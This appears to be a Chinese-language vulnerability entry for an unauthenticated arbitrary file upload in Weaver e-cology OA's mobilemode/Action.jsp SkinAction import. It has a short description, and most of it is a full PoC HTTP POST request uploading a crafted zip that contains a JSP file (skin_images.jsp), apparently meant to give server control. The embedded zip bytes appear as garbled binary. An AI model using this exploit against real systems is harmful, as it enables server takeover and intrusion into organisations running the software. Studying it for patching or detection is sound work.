漏洞描述
Weaver e-cology是中国泛微（Weaver）公司的一套协同管理应用平台。
泛微OA e-cology mobilemode/Action.jsp com.weaver.formmodel.mobile.skin.SkinAction存在任意文件上传漏洞，攻击者可上传符合格式的恶意zip压缩文件获取服务器权限
泛微OA E-Cology Action.jsp mobile.skin.SkinAction 任意文件上传漏洞
PoC代码
POST /mobilemode/Action.jsp?invoker=com.weaver.formmodel.mobile.skin.SkinAction&action=import&noLogin=1 HTTP/1.1
Host:
Accept-Encoding: gzip
Connection: keep-alive
Content-Length: 898
Content-Type: multipart/form-data; boundary=--------1c4ab976651c8a18
Cookie: JSESSIONID=aaaXESw-8zhzlc-6bfm9y; ecology_JSessionid=aaaXESw-8zhzlc-6bfm9y
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[REDACTED] Safari/537.36
----------1c4ab976651c8a18
Content-Disposition: form-data; name="file"; filename="ilarturu.zip"
Content-Type: image/png
PK �|xW images/1.png PK �|xW ~� _.css+I-. PK �|xW��r� _.xmlM���0E�~���DA���L��ʸ(vB�������@ �ՙ��� �>�u^���T����u@];.T���X�݈. b�B�h�iq��^���
Ɓ_��~�K� Ȗ��b(�
0�Ns���&m�u�ɞ�o� 4�^�K���
%�s��U|���B�Э��X3��r�����M�X�¼���� PK �|xW�G��� � skin_images.jsp}��
�0D%
Y���V=
ފ��E�I�t����V/=�Ǚy3s�M��y���O��YL)����H���CyX��P��뉗@����IYh{a ˸7G�it�8*öZ�j�6��FQ E�\�(y�B�KșT�u��g�@;qI��~'��OoPK �|xW � images/1.pngPK �|xW ~� �, _.cssPK �|xW��r� �U _.xmlPK �|xW�G��� � �. skin_images.jspPK � �
----------1c4ab976651c8a18--